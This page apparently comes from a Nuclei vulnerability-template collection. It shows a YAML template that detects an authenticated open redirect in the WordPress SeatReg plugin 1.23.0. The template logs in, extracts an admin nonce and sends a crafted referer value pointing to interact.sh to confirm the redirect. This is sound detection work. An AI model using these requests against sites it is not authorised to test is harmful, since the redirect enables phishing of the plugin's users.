WordPress Plugin ‘SeatReg’ - Open Redirect

ID: seatreg-redirect

Severity: medium

Author: Mariam Tariq

Tags: redirect,packetstorm,seatreg,wp-plugin,wp,wordpress,authenticated

Description

WordPress SeatReg plugin version 1.23.0 suffers from an open redirection vulnerability.

YAML Source

id: seatreg-redirect

info:
  name: WordPress Plugin ‘SeatReg’  - Open Redirect
  author: Mariam Tariq
  severity: medium
  description: |
    WordPress SeatReg plugin version 1.23.0 suffers from an open redirection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167888/WordPress-SeatReg-1.23.0-Open-Redirect.html
  metadata:
    verified: true
    max-request: 3
  tags: redirect,packetstorm,seatreg,wp-plugin,wp,wordpress,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=seatreg-welcome HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new-registration-name=test&action=seatreg_create_submit&seatreg-admin-nonce={{seatreg-admin-nonce}}&_wp_http_referer=http://interact.sh&submit=Create+new+registration

    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 302
          - contains(header_3, 'http://interact.sh')
        condition: and

    extractors:
      - type: regex
        name: seatreg-admin-nonce
        part: body
        group: 1
        regex:
          - '"seatreg\-admin\-nonce" value="([0-9a-z]+)"'
        internal: true
# digest: 490a00463044022042b9aaa434c1f11207dfeb87b4a5a47ac883db420116738f08780372e06cf2310220308ef058c398ce15212a78101f48c44657e2877d3d54dd2efba12e282d1debbc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/seatreg-redirect.yaml"

View on Github